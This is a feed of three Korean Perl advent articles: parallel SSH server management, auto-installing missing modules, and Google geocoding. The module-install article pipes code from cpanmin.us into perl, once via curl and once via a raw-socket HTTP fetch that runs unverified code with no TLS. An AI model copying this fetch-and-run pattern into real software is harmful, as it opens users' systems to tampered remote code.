2016-12-11T00:00:00+09:00keediNet::OpenSSH::Parallel을 이용한 여러 대의 서버 관리http://advent.perl.kr/2016/2016-12-10.html<h2>저자</h2>
<p><a href="http://twitter.com/#!/newbcode">@newbcode</a> - 사랑스런 딸바보, 도치파파, 리눅스의 모든 것 공동 저자</p>
<h2>시작하며</h2>
<p>많은 개발자들은 각자의 개발 장비 뿐만 아니라 실제 운영 중인 장비를 관리하기도 합니다.
개발 장비는 보통 한 대지만, 실제 운영 장비는 여러 대인 경우가 많습니다.
이런 장비가 100대, 아니 10대 이상만 되더라도
<strong>'어떻게 쉽게 운영 장비에 배포를 할 수 있을까?'</strong>,
<strong>'어떻게 빠르게 원격으로 명령을 한 번에 실행 할 수 있을까?'</strong>,
<strong>'로그를 쉽게 남기고 확인할 수는 없을까?'</strong> 등 고민 거리는 늘어만 갑니다.
이럴 때 펄의 <a href="https://metacpan.org/pod/Net::OpenSSH::Parallel">Net::OpenSSH::Parallel 모듈</a>은
많은 문제를 효율적으로 해결할 수 있는 단초를 제공합니다.</p>
<h2>준비물</h2>
<p>필요한 모듈은 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/pod/Net::OpenSSH::Parallel">CPAN의 Net::OpenSSH::Parallel 모듈</a></li>
</ul>
<p>직접 <a href="http://www.cpan.org/">CPAN</a>을 이용해서 설치한다면 다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ sudo cpan Net::OpenSSH::Parallel
</pre>
<p>사용자 계정으로 모듈을 설치하는 방법을 정확하게 알고 있거나
<a href="http://perlbrew.pl/">perlbrew</a>를 이용해서 자신만의 Perl을 사용하고 있다면
다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ cpan Net::OpenSSH::Parallel
</pre>
<h2>원격 서버에 명령을 날리기</h2>
<p>기본적으로 SSH를 이용해서 원격 서버에 명령을 실행합니다.
물론 <code>N::O::P</code> (<code>Net::OpenSSH::Parallel</code>) 모듈은 비밀번호를 이용하는 방법을 지원하며,
인증 문제를 해결하는 여러가지 방법이 있으며, 공개키/비밀키 인증 또는
키 포워딩 등의 설정을 통해 SSH 접속 및 로그인에 문제가 없는 설정을 전제로 합니다.
우선 <code>N::O::P</code> 객체를 생성해볼까요?</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use utf8;
use strict;
use warnings;
use Net::OpenSSH::Parallel;
my $pssh = Net::OpenSSH::Parallel->new(
workers => 4,
connections => 8,
reconnections => 2,
);
</pre>
<p>객체 생성 시 인자로 넘겨주는 속성 중 <code>workers</code>는 동시에 SSH 관련 작업을 처리할 최대 워커 수를,
<code>connections</code>은 실제로 연결을 유지 할 SSH 연결 커넥션 수를, <code>reconnections</code>은 접속 실패 등의
사유로 재접속 시도 횟수를 의미합니다.
이 때 <code>connections</code> 값은 <code>workers</code> 값보다 커야 한다는 점을 유의하세요.
객체 생성이 끝나면 어떤 서버에 접속해서 일을 처리할지 알려주어야 겠죠.
<code>add_host()</code> 메소드를 이용해서 접속할 호스트를 등록합니다.</p>
<pre class="brush: perl;">
my @hosts = qw(
alpha.myhost.com
beta.myhost.com
gamma.myhost.com
delta.myhost.com
epsilon.myhost.com
);
$pssh->add_host($_) for @hosts;
</pre>
<p>기본적인 준비는 모두 끝났습니다.
이제 명령을 날려볼 시간입니다.
서버의 호스트명과 상태를 확인할 수 있는 <code>uname</code> 명령을 호출하고 그 결과를 살펴보죠.</p>
<pre class="brush: perl;">
$pssh->push( "*", "command", "uname", "-a" );
$pssh->run;
</pre>
<p>실행 결과는 다음과 같습니다.</p>
<pre class="brush: bash;">
$ ./pssh.pl
Linux beta.myhost.com 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt7-1 (2015-03-01) x86_64 GNU/Linux
Linux epsilon.myhost.com 4.8.0-2-amd64 #1 SMP Debian 4.8.11-1 (2016-12-02) x86_64 GNU/Linux
Linux alpha.myhost.com 3.2.0-4-amd64 #1 SMP Debian 3.2.68-1+deb7u6 x86_64 GNU/Linux
Linux delta.myhost.com 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt7-1 (2015-03-01) x86_64 GNU/Linux
Linux gamma.myhost.com 3.2.0-4-686-pae #1 SMP Debian 3.2.78-1 i686 GNU/Linux
$
</pre>
<p>동시에 여러 개의 프로세스를 띄워 원격지에 명령을 날리기 때문에
호스트를 등록한 순서와는 별개로 네트워크 환경이나 접속 환경에 따라
보이는 결과의 순서가 달라진다는 점을 명심하세요.
간단히 원격지에 실행한 명령의 결과를 확인할 수 있습니다.
<code>push()</code> 메소드의 인자 중 첫 번째 인자는 등록한 호스트를 선택하는 구문입니다.
<code>"alpha.myhost.com"</code>을 첫 번째 인자로 넘긴다면 <strong>alpha.myhost.com</strong> 호스트에만 액션을 수행하라는 의미입니다.
<code>"*"</code>는 모든 등록한 호스트를 의미하며 이 경우 단축 표현인 <code>all()</code> 메소드를 사용할 수 있습니다.
이렇게 말이죠.</p>
<pre class="brush: perl;">
$pssh->all( "command", "uname", "-a" );
$pssh->run;
</pre>
<p>또한 두 번째 인자는 <code>N::O::P</code>에서 지원하는 액션(action)을 의미합니다.
현재 지원하는 액션의 종류는 다음과 같습니다.</p>
<ul>
<li><code>command</code></li>
<li><code>scp_get</code></li>
<li><code>scp_put</code></li>
<li><code>rsync_get</code></li>
<li><code>rsync_put</code></li>
<li><code>sub</code></li>
<li><code>parsub</code></li>
<li><code>join</code></li>
<li><code>here</code></li>
<li><code>goto</code></li>
<li><code>stop</code></li>
<li><code>connect</code></li>
</ul>
<p>액션의 종류가 꽤 많죠? 각 해당 액션의 자세한 설명은 <a href="https://metacpan.org/pod/Net::OpenSSH::Parallel">공식 문서</a>를 참조하세요. :)
<code>command</code> 액션의 경우 단축 표현 <code>cmd</code>를 지원하므로 역시 이렇게 줄여 쓸 수 있습니다.</p>
<pre class="brush: perl;">
$pssh->all( "cmd", "uname", "-a" );
</pre>
<p>마지막으로 펄의 <strong>뚱뚱한 쉼표</strong>(<strong>fat comma</strong>)를 사용하면
왼쪽의 따옴표를 제거할 수 있으므로 이런 식으로 표현하는 것 까지 가능합니다.</p>
<pre class="brush: perl;">
$pssh->all( cmd => "uname", "-a" );
</pre>
<p>특별히 다른 옵션 없이 <code>command</code> 액션을 실행할 경우 기본으로 현재 스크립트를 실행한
프로세스의 표준 출력이 그 실행 결과를 보여줍니다.
다른 별도의 파일에 결과를 저장하고 싶다면 쉘의 재지향(redirection)을 활용하거나
또는 <code>command</code> 액션에 별도의 옵션을 넘겨주면 됩니다.</p>
<pre class="brush: perl;">
open my $fh, ">", "result.txt"
or die "cannot open file: $!\n";
$pssh->all(
"command",
{
stdout_fh => $fh,
stderr_to_stdout => 1,
},
"hostname",
);
$pssh->run;
close $fh;
</pre>
<p>프로그램 내부에서 적절한 파일 명을 생성한 다음 이 파일의 핸들을
<code>stdout_fh</code>로 넘겨주면 <code>N::O::P</code>은 표준 출력에 결과를 뿌려주는 대신
입력 받은 파일 핸들에 결과를 저장합니다.
음, 그런데 반드시 파일 핸들만 넘길 수 있는 것일까요?
그렇진 않습니다. 관련 옵션은 <a href="https://metacpan.org/pod/Net::OpenSSH">CPAN의 Net::OpenSSH 모듈</a>이 지원하는 옵션이므로
더 자세한 내용이 궁금하다면 <a href="https://metacpan.org/pod/Net::OpenSSH">해당 모듈 문서</a>를 참고하세요. :)
그러고 보면, 파일 핸들을 넘길 경우 이미 파일 명은 명령을 실행하기 전에 결정이 되어있죠.
호스트 별로 결과 파일을 따로 지정하고 싶다면 <code>stdout_fh</code> 보다는
<code>stdout_file</code> 옵션을 사용하는 것이 더 간편합니다.</p>
<pre class="brush: perl;">
$pssh->all(
"command",
{
stdout_file => "result-%LABEL%",
stderr_to_stdout => 1,
},
"hostname",
);
$pssh->run;
</pre>
<p><code>stdout_fh</code> 대신 <code>stdout_file</code> 속성을 사용했다는 점을 유의하세요.
이 때 <code>"result-%LABEL%"</code>이라는 파일 명을 지정했는데, 여기에 있는 <code>%LABEL%</code>은
<code>N::O::P</code> 모듈이 미리 정의한 변수입니다.
특별히 설정하지 않을 경우 기본적으로 <code>HOST</code>, <code>USER</code>, <code>PORT</code>, <code>LABEL</code>
4가지를 정의하며 문자열 안에서 <code>%...%</code>로 감싸 보간(interpolation)합니다.
<code>add_host()</code> 메소드 호출 시점에 따로 호스트와 라벨을 명시하지 않는다면,
호스트와 라벨 값은 동일하게 설정됩니다.</p>
<pre class="brush: bash;">
$ ls -l result-*
-rw-r--r-- 1 askdna askdna 6 12월 3 13:46 result-alpha.myhost.com
-rw-r--r-- 1 askdna askdna 18 12월 3 13:46 result-beta.myhost.com
-rw-r--r-- 1 askdna askdna 13 12월 3 13:46 result-gamma.myhost.com
-rw-r--r-- 1 askdna askdna 8 12월 3 13:46 result-delta.myhost.com
-rw-r--r-- 1 askdna askdna 21 12월 3 13:46 result-epsilon.myhost.com
$
</pre>
<p>실행 결과를 살펴보면 <code>result-호스트명</code>으로 결과를 저장한 파일이 생성되었음을 알 수 있습니다.</p>
<h2>파일 주고 받기</h2>
<p>여기까지 따라왔다면 파일 주고 받기는 상대적으로 무척 간단합니다.
로컬 장비의 파일을 원격지에 업로드하려면 <code>scp_put</code> 액션을 사용합니다.</p>
<pre class="brush: perl;">
$pssh->all( scp_put => "release-tarball.tar.gz", "/tmp/release/LATEST.tar.gz" );
</pre>
<p><code>scp_put</code> 액션은 줄여서 <code>put</code>이라고 사용할 수 있으므로 다음처럼 실행해도 됩니다.</p>
<pre class="brush: perl;">
$pssh->all( put => "release-tarball.tar.gz", "/tmp/release/LATEST.tar.gz" );
</pre>
<p>반대로 원격 서버의 파일을 다운로드하려면 <code>scp_get</code> 액션을 사용합니다.</p>
<pre class="brush: perl;">
$pssh->all( scp_get => "/var/log/foo/today.log", "logs/%LABEL%-today.log" );
</pre>
<p>마찬가지로 <code>scp_get</code> 액션은 줄여서 <code>get</code>이라고 사용할 수 있으므로 다음처럼 실행해도 됩니다.</p>
<pre class="brush: perl;">
$pssh->all( get => "/var/log/foo/today.log", "logs/%LABEL%-today.log" );
</pre>
<p><code>scp_put</code>과 <code>scp_get</code> 명령 실행시 재귀라던가, 쉘 확장 등을 사용할 수도 있는데
관련해서는 <a href="https://metacpan.org/pod/Net::OpenSSH">Net::OpenSSH 모듈 공식 문서</a>를 확인하세요.</p>
<h2>정리하며</h2>
<p><code>Net::OpenSSH::Parallel</code> 모듈의 기본적인 사용법을 알아보았습니다.
가장 간단한 원격 명령 실행과 파일 주고 받기만 살펴보았는데,
아마도 이것만 알고 나면 대부분의 원격 서버 관련 작업을 처리할 수 있을 것입니다.
<a href="http://advent.perl.kr/2011/2011-12-01.html">2011년 달력, 첫째 날: 네모 반듯한 표 그리고 한글</a>을 참고해
호스트 별 실행 결과를 테이블로 이쁘게 담는다거나
<a href="https://metacpan.org/pod/Term::Progressbar">CPAN의 Term::ProgressBar 모듈</a>을 사용해
호스트별 진행 사항을 프로그레스바로 표시한다던가 하면 더욱 사용성이 높아지겠죠.</p>
<p><img src="2016-12-10-1_r.png" alt="Text::ASCIITable을 이용해 결과 꾸미기" id="text::asciitable" />
<em>그림 1.</em> Text::ASCIITable을 이용해 결과 꾸미기 (<a href="2016-12-10-1.png">원본</a>)</p>
<p>제 경우 사내 기존 레거시 코드에서 RCP를 사용했는데 포트가 꽉 차버리면,
배포가 안되거나 결과 피드백을 받기 힘들어진 한계가 있었죠.
이런 문제를 해결하기 위해 병렬 SSH 모듈을 사용했으며,
물론 scp의 한계로 인해 병렬 SSH의 한계도 존재하겠지만,
서버가 늘어날 수록 비례해서 빨라지는 등 아직까지는 결과가 무척 만족스럽습니다.
이 기사가 10 ~ 100대 이상의 서버를 관리하는 개발자 분들에게 도움이 되었으면 합니다. ;)</p>
<p><em>EOT</em></p>
2016-12-10T00:00:00+09:00newbcodePerl 스크립트 의존 모듈을 독립된 공간에 자동 설치해서 실행시키기http://advent.perl.kr/2016/2016-12-09.html<h2>저자</h2>
<p><a href="http://twitter.com/#!/aer0">@aer0</a> -
Seoul.pm, #perl-kr의 정신적 지주,
Perl에 대한 근원적이면서 깊은 부분까지 놓치지 않고 다루는 <a href="http://aero.sarang.net/">홈페이지 및 블로그</a>를 운영하고 있다.
aero라는 닉을 사용하기도 한다.</p>
<h2>시작하며</h2>
<p>Perl로 어떤 스크립트를 만들어서 누구에게 주고 사용해보라고 하거나,
어디서 예제 Perl 스크립트 가져와서 실행시킬 때면 늘 추가로 모듈을 설치해야 할 때가 있습니다.
이럴 때면 늘 '필요한 모듈은 어떻게 설치하고 실행시켜라고 가르쳐 주지?'라던가
'테스트로 돌려보고 싶은데 한 번 쓰고 말 모듈 같은 것을 설치해서 나중에 필요 없으면 찾아 지우기도 귀찮고 싫은데 어쩌지?'
등의 고민을 하곤 합니다.
뭐 <code>cpan</code>, <code>cpanm</code> 같은 모듈 설치 유틸리티와 <code>local::lib</code> 같은
모듈 설치 위치를 임의로 바꿀 수 있는 모듈을 잘 숙지하고 있다면 상관 없지만
이런 것을 시시콜콜 따지자니 귀찮기도 하고,
누군가에게 알려주자니 골치가 아픈게 사실입니다.
그래서 이런 상세한 내용을 몰라도, 실행하면 스크립트가 위치한 디렉터리에
로컬 모듈 설치 디렉터리를 만들고, 필요한 모듈들을 자동설치하고 실행시키며,
나중에 필요가 없을때는 스크립트와 로컬 모듈 설치 디렉터리만 날리면
깔끔하게 청소가 되는 형태의 스크립트를 만들어 볼까 합니다.</p>
<h2>준비물</h2>
<p>펄은 설치와 함께 <code>cpan</code>이라는 모듈을 설치할 수 있는 기본 명령을 제공합니다.
하지만 루트 사용자가 아니라 시스템 디렉터리에 쓰기 권한이 없으면
자신의 계정에 설치하게 설정을 해줘야 하므로, 첫 실행 시 다소 번거롭습니다.
그래서 간편하게 모듈을 설치 할 수 있도록 나온 것이 <code>cpanm</code> (cpanminus) 명령입니다.
<code>cpanm</code>은 다음 명령만으로도 간단히 설치가 가능합니다.</p>
<pre class="brush: bash;">
$ cd ~/bin
$ curl -L https://cpanmin.us/ -o cpanm
$ chmod +x cpanm
</pre>
<p>이후 <code>PATH</code> 환경 변수에 설치한 경로인 <code>~/bin</code>을 추가하면 바로 <code>cpanm</code>을 사용할 수 있습니다.
아니면 다음 명령처럼 인터넷으로 받은 <code>cpanm</code> 스크립트를
<code>perl</code>로 바로 보내서 실행시키면서 설치 모듈명을 인자로 넘겨주어 설치도 가능합니다.</p>
<pre class="brush: bash;">
$ curl -L https://cpanmin.us | perl - 설치모듈명
</pre>
<p>하지만 이 방법도 <code>curl</code> 같은 외부 유틸리티에 의존적입니다.
이제 <code>curl</code>과 <code>perl</code> 명령을 파이프로 조합한 두 번째 방법의 아이디어를 사용하되
<code>curl</code>이나 <code>wget</code> 등 다른 유틸리티에 의존하지 않고,
순전히 펄이 기본 설치가 되어 코어 모듈들만 있는 상태에서
펄 자체 만으로 소켓을 통해 <code>cpanm</code> 스크립트를 전송 받은 후 실행하는 형태로 구현을 합니다.
즉 펄의 소켓을 이용해 <code>curl</code>이나 <code>wget</code> 유틸리티를 대체한다는 의미죠.</p>
<p>펄 모듈이 제대로 설치되려면 펄 배포본 기본 설치 이외에도
<code>gcc</code> 같은 컴파일러와 <code>make</code> 같은 개발 도구가 필요합니다.
데비안 및 우분투 계열이라면 <code>perl</code> 패키지(주의: <code>perl-base</code> 패키지는 기본 Perl 배포본에 코어 모듈이 일부만 들어간 것)를 설치하고
<code>apt-get install build-essential</code> 명령으로 개발 관련 패키지도 설치해야 합니다.
레드햇 및 CentOS 계열이면 <code>perl-core</code> 패키지(주의: <code>perl</code> 패키지는 기본 Perl 배포본에 Core모듈이 일부만 들어간 것)를 설치하고
<code>yum groupinstall 'Development Tools'</code> 명령으로 개발 관련 패키지도 설치해야 합니다.
윈도우면 <a href="http://strawberryperl.com/">Strawberry Perl</a>에 필요한 개발 도구가 기본으로 다 포함되어 있습니다.</p>
<h2>의존을 피하자!</h2>
<p>우선 구현을 완료한 <a href="https://gist.github.com/aero/b31df2de10c47c7c99ee0d4f4cd5ec7a">전체 코드</a>를 살펴 본 다음 하나하나 짚어가며 설명을 하죠.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
BEGIN {
require FindBin;
require lib;
my $locallib_path = "$FindBin::RealBin/locallib/$^V";
lib->import("$locallib_path/lib/perl5");
my $cpanm;
my $get_cpanm = sub {
return $cpanm if defined $cpanm;
require IO::Socket;
my $s = IO::Socket::INET->new( PeerAddr => 'cpanmin.us:80' ) or die $!;
print {$s} "GET / HTTP/1.1\r\nHost: cpanmin.us\r\n\r\n";
my $content;
while (<$s>) { last if m/^\r\n$/; }
while (<$s>) { $content .= $_; last if m/^__END__$/; }
close $s;
return $content;
};
push @INC, sub {
my $file = $_[1];
my $module = $file;
return if grep { $file eq $_ } qw{
Encode/ConfigLocal.pm
Devel/StackTraceFrame.pm
Log/Agent.pm
}; # from lib::xi module
print "Oops: There was an error looking for $module\n";
$module =~ s/\.pm \z//xms;
$module =~ s{/}{::}xmsg;
$cpanm = $get_cpanm->();
open my $fh, '|-', "$^X - -v -n -l$locallib_path $module";
print {$fh} $cpanm;
close $fh;
lib->import("$locallib_path/lib/perl5");
require Config;
Config->import;
my @myinc = (
"$locallib_path/lib/perl5",
"$locallib_path/lib/perl5/$Config::Config{archname}",
);
for my $lib ( grep { defined } @myinc ) {
if ( open my $inh, '<', "$lib/$file" ) {
$INC{$file} = "$lib/$file";
return $inh;
}
}
return;
};
}
use strict;
use warnings;
use Mojolicious;
use Text::CSV_XS;
print "$^V\n";
print "$_\n" for @INC;
</pre>
<p>일반적인 펄 스크립트와 다른 점은 <code>BEGIN { … }</code> 영역입니다.
즉, 여러분의 펄 스크립트의 의존 모듈을 독립된 공간에 자동 설치해서 실행시키기는 기능을
추가하기 위해 해야할 일은 스크립트 앞 부분에 예제와 마찬가지로 <code>BEGIN { … }</code> 영역을
복사해서 붙여넣는 일 뿐입니다.</p>
<pre class="brush: perl;">
BEGIN {
require FindBin;
require lib;
my $locallib_path = "$FindBin::RealBin/locallib/$^V";
lib->import("$locallib_path/lib/perl5");
...
}
</pre>
<p><code>BEGIN</code> 블럭은 스크립트가 실행될 때 제일 먼저 실행됩니다.
<code>BEGIN</code> 블럭 안의 코드의 동작 방식은 다음과 같습니다.
처음에 스크립트가 존재하는 위치를 기준으로 <code>./locallib/펄버전스트링</code>을
로컬 모듈 설치 디렉터리경로로 지정한 후 해당 디렉터리를 모듈 <code>INC</code> 경로로 추가하는 <code>lib</code> 모듈을 통해 추가합니다.</p>
<pre class="brush: perl;">
BEGIN {
...
my $cpanm;
my $get_cpanm = sub {
...
return $cpanm if defined $cpanm;
require IO::Socket;
my $s = IO::Socket::INET->new( PeerAddr => 'cpanmin.us:80' ) or die $!;
print {$s} "GET / HTTP/1.1\r\nHost: cpanmin.us\r\n\r\n";
my $content;
while (<$s>) { last if m/^\r\n$/; }
while (<$s>) { $content .= $_; last if m/^__END__$/; }
close $s;
return $content;
};
...
}
</pre>
<p>그리고 <code>IO::Socket</code> 코어 모듈을 통해 <code>cpanmin.us</code>에 HTTP 프로토콜로 접속해서
응답을 받아 응답 헤더를 제외한 컨텐츠(<code>cpanm</code> 스크립트)를 <code>$cpanm</code> 변수에 저장하는
<code>$get_cpanm</code> 코드 레퍼런스를 정의합니다.
이때 <code>$get_cpanm</code>을 호출했을 때 이미 받아왔으면 다시 요청하는 것은 낭비이므로
받아왔는지 여부를 확인해 <code>$cpanm</code>에 내용이 있으면 바로 그 내용을 반환합니다.</p>
<pre class="brush: perl;">
push @INC, sub {
my $file = $_[1];
my $module = $file;
...
};
</pre>
<p>그 다음은 보면 Perl 모듈 디렉터리경로 리스트를 저장하고 있는 배열인 <code>@INC</code>에
생뚱맞게 코드 참조(reference)를 집어 넣습니다.
이 기법을 사용하면 스크립트에서 <code>use 모듈명</code> 형식으로 모듈을 적재(loading)할 때
적재하고자 하는 모듈이 존재하지 않을 경우 코드 참조가 호출됩니다.
따라서 모듈이 존재하지 않을때 이 코드 참조에서 모듈을 자동 설치도록 구현하면
우리가 원하는 목적을 달성할 수 있게 됩니다. :)
해당 코드 참조가 호출될 때 인자로 코드 참조 자신과 모듈 경로명(예를 들면, <code>My/Module.pm</code>)이 들어옵니다.
이 모듈 경로명을 기준으로 <a href="http://www.cpan.org/">CPAN</a>에 없는 모듈이면 제외하고 설치합니다.</p>
<pre class="brush: perl;">
open my $fh, '|-', "$^X - -v -n -l$locallib_path $module";
print {$fh} $cpanm;
</pre>
<p><code>open</code>과 <code>print</code> 구문을 통해 실제적으로 <code>cat cpanm | perl - -v -n -l$locallib_path $module</code> 같은 효과를 냅니다.
<code>-v</code>는 <strong>verbose</strong> 옵션이며 <code>-n</code>은 테스트는 하지 않는 옵션,
<code>-l</code>은 로컬에 모듈을 설치할 경로를 지정하는 옵션입니다.
<code>-l</code> 옵션 말고는 취향에 따라 적절하게 선택하거나 바꾸면 됩니다.</p>
<pre class="brush: perl;">
lib->import("$locallib_path/lib/perl5");
require Config;
Config->import;
my @myinc = (
"$locallib_path/lib/perl5",
"$locallib_path/lib/perl5/$Config::Config{archname}",
);
for my $lib ( grep { defined } @myinc ) {
if ( open my $inh, '<', "$lib/$file" ) {
$INC{$file} = "$lib/$file";
return $inh;
}
}
</pre>
<p>이후 모듈이 설치되고 나면, 모듈이 존재하는 위치를 찾습니다.
찾은 경로를 <code>%INC</code> 해쉬에 넣고, 모듈의 파일 핸들을 반환해서 모듈을 제대로 적재하게 합니다.</p>
<p><code>push @INC, sub { … }</code> 부분은 모듈을 <code>cpanm</code> 명령으로 자동 설치하는
<a href="https://metacpan.org/pod/lib::xi">CPAN의 lib::xi 모듈</a>의 코드를 많이 참고 했습니다.
궁금하신 부분은 해당 모듈의 코드를 살펴보세요. :)</p>
<h2>보너스: 원하는 모듈만 설치</h2>
<p>필요 모듈이 자동으로 설치 되지 않고, 원하는 모듈만 딱 찝어서 설치되게 하려면 어떻게 해야 할까요?
설치하고 싶은 모듈명을 명시해서 설치하는 방식으로 처리하면 되겠죠.
이전과 마찬가지로 <code>BEGIN { … }</code> 부분을 자신의 코드에 복사해서 넣고,
<code>@REQ_MODULES</code> 배열 변수에 설치할 모듈 목록을 적어주면 됩니다. :-)
구현을 완료한 <a href="https://gist.github.com/aero/e308b4c18b70e9cf2b02e7c74db2ade4">전체 코드</a>를 살펴보죠.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
BEGIN {
my @REQ_MODULES = qw/
Mojolicious
Text::CSV_XS
/;
require FindBin;
require lib;
my $locallib_path = "$FindBin::RealBin/locallib/$^V";
lib->import("$locallib_path/lib/perl5");
my @MISSING;
for my $module (@REQ_MODULES) {
unless ( eval "require $module" ) {
push @MISSING, $module;
}
}
if (@MISSING) {
require IO::Socket;
my $s = IO::Socket::INET->new( PeerAddr => 'cpanmin.us:80' ) or die $!;
print {$s} "GET / HTTP/1.1\r\nHost: cpanmin.us\r\n\r\n";
my $content;
while (<$s>) { last if m/^\r\n$/; }
while (<$s>) { $content .= $_; last if m/^__END__$/; }
close $s;
open my $fh, '|-', "$^X - -v -n -l$locallib_path @MISSING";
print {$fh} $content;
close $fh;
lib->import("$locallib_path/lib/perl5");
}
}
use strict;
use warnings;
use Mojolicious;
use Text::CSV_XS;
print "$^V\n";
print "$_\n" for @INC;
</pre>
<h2>정리하며</h2>
<p>이제 펄 스크립트를 실행할 때 모듈 설치 과정의 귀차니즘으로 부터 해방되었습니다.
여러분의 펄 스크립트 상단에 <code>BEGIN { … }</code> 블럭만 추가해서 실행하면 됩니다.
단순히 설치 뿐만 아니라 나중에 해당 모듈이 필요 없을 때 깔끔하게 지우는 것 역시 굉장히 쉬워졌죠.
스크립트 실행 후 해당 디렉터리에 생성된 <code>./locallib</code> 디렉터리만 지우면 되니까요! :)</p>
2016-12-09T00:00:00+09:00aer0지오코딩과 역지오코딩http://advent.perl.kr/2016/2016-12-08.html<h2>저자</h2>
<p><a href="http://twitter.com/#!/keedi">@keedi</a> - Seoul.pm 리더, Perl덕후,
<a href="http://www.yes24.com/24/goods/4433208">거침없이 배우는 펄</a>의 공동 역자, keedi.k <em>at</em> gmail.com</p>
<h2>시작하며</h2>
<p>지난 기사인 <a href="http://advent.perl.kr/2016/2016-12-06.html">여섯째 날: 너무 간단한 지도 그리기</a>에서는
Perl을 이용해 지도를 화면에 그리는 방법을 알아보았습니다.
원하는 지점을 지도에 나타내기 위해 주소를 입력하기도 했고,
<a href="https://ko.wikipedia.org/wiki/%EC%9C%84%EB%8F%84">위도(씨줄. 緯度, latitude)</a>와 <a href="https://ko.wikipedia.org/wiki/%EA%B2%BD%EB%8F%84">경도(날줄. 經度, longitude)</a> 좌표를 입력하기도 했죠.
생각해보면 이 둘은 무언과 분명히 상관 관계가 있어 보입니다.
보통 우리는 나라에서 공식적으로 지정해서 사용하는 주소 체계에 익숙합니다.
대부분은 주소만 들어도 대충 "아~ 거기~"라고 인지하죠.
하지만 이 주소를 지도상에 컴퓨터로 표시하려면 좀 문제가 있습니다.
지도는 평면적으로 넓게 펼쳐놓고 보았을 때 일종의 2차원 그래프로
X축과 Y축 단 두 개의 좌표만 있으면 아주 손쉽게 특정 위치를 지정할 수 있죠.
이 X축과 Y축이 경도와 위도 정보입니다.
하지만 주소로 특정 위치를 찾는 일은 쉽지 않기에 이 주소 정보에 해당하는
위도와 경도 정보를 안다면 훨씬 쉽게 지도 상에 해당 위치를 표시할 수 있겠죠.
역으로 GPS 장비가 시시각각 위도와 경도 좌표를 저장한다면,
사실 이 소숫점을 포함한 복잡하고 긴 수치를 보았을 때
여기가 어디인지 파악하는 것은 현실적으로 불가능하죠.
이 때는 대부분의 평범한 사람은 해당 위도와 경도 좌표가 해당하는
주소를 보았을 때야 "아~ 여기였구나~"할 것입니다.
이 때 필요한 것이 바로 <a href="https://en.wikipedia.org/wiki/Geocoding">지오코딩(geocoding)</a>과 역지오코딩(reverse geocoding)입니다.
Perl을 이용해 가장 널리 사용하는 <a href="https://www.google.co.kr/maps/@37.5651,126.98955,11z?hl=en">구글맵</a>의 <a href="https://developers.google.com/maps/documentation/geocoding/intro?hl=ko">지오코딩</a>을 사용해보죠.</p>
<h2>준비물</h2>
<p>필요한 모듈은 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/pod/Geo::Coder::Google">CPAN의 Geo::Coder::Google 모듈</a></li>
</ul>
<p>직접 <a href="http://www.cpan.org/">CPAN</a>을 이용해서 설치한다면 다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ sudo cpan Geo::Coder::Google
</pre>
<p>사용자 계정으로 모듈을 설치하는 방법을 정확하게 알고 있거나
<a href="http://perlbrew.pl/">perlbrew</a>를 이용해서 자신만의 Perl을 사용하고 있다면
다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ cpan Geo::Coder::Google
</pre>
<h2 id="googlemapsapi">Google Maps API 키</h2>
<p>구글 지도 보여 줄 때와 마찬가지로 지오코딩을 하기 위해서도 <a href="https://developers.google.com/maps/documentation/javascript/get-api-key">Google Maps API 키</a>가 필요합니다.
API 키를 발급받는 방법은 지난 기사인 <a href="http://advent.perl.kr/2016/2016-12-06.html">여섯째 날: 너무 간단한 지도 그리기</a>를 참고하세요.</p>
<h2>실전 지오코딩</h2>
<p><a href="https://en.wikipedia.org/wiki/Geocoding">지오코딩(geocoding)</a>은 <strong>"서울 종로구 세종로 1"</strong>와 같은 주소를
<code>37°35'11.9"N 126°58'36.4"E</code>와 같은 지리 좌표로 변환하는 작업입니다.
반대로 역지오코딩은 지리 좌표를 주소로 변환하는 것입니다.
우선 지오코딩을 위해서는 <code>Geo::Coder::Google</code> 모듈 객체를 생성해야 합니다.</p>
<pre class="brush: perl;">
use utf8;
use strict;
use warnings;
use feature qw( say );
use Geo::Coder::Google;
my $geocoder = Geo::Coder::Google->new(
apidriver => 3,
api_key => "AIzABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHkY",
);
</pre>
<p>구글은 더이상 구글맵 API 버전2를 지원하지 않기 때문에 버전3을 써야하므로 딱히 선택의 여지는 없습니다.
API 버전은 <code>apidriver</code> 인자를 이용해서 명시하고, 발급받은 키는 <code>api_key</code> 인자로 명시합니다.
이제 지오코딩을 할 모든 준비는 끝났습니다.</p>
<pre class="brush: perl;">
my @locations = $geocoder->geocode(
location => "서울 종로구 세종로 1",
);
die "failed to geocode\n" unless @locations;
</pre>
<p><code>geocode()</code> 메소드를 이용해서 실제 지오코딩을 실행하며, 지오코딩을 결과를 배열로 반환 받습니다.
이 때 결과 배열의 첫 번째 항목이 가장 정확하게 일치된 항목이며,
이후 항목은 근접한 후보 항목을 반환합니다.
스칼라 문맥으로 반환받을 경우 배열로 반환 받을 때의 가장 첫 번째 항목을 반환합니다.</p>
<pre class="brush: perl;">
my $location = shift @locations;
say "$location->{geometry}{location}{lat}, $location->{geometry}{location}{lng}";
if (@locations) {
say "candidate:";
for my $candidate (@locations) {
say " $candidate->{geometry}{location}{lat},$candidate->{geometry}{location}{lng}";
}
}
</pre>
<p>실행 결과는 다음과 같습니다.</p>
<pre class="brush: bash;">
$ ./geocoding.pl
37.586652,126.9767701
$
</pre>
<p>이번에는 역지오코딩을 해볼까요?
지오코딩과 대동소이합니다.</p>
<pre class="brush: perl;">
my $result = $geocoder->reverse_geocode( latlng => "37.586652,126.9767701" );
die "failed to reverse geocode\n" unless $result;
say $result->{formatted_address};
</pre>
<p>역지오코딩을 하기 위해서는 <code>reverse_geocode()</code> 메소드를 사용합니다.
이 때 인자는 <code>latlng</code>이며, 위도와 경도 정보를 쉼표를 이용해 조합한 문자열을 전달합니다.
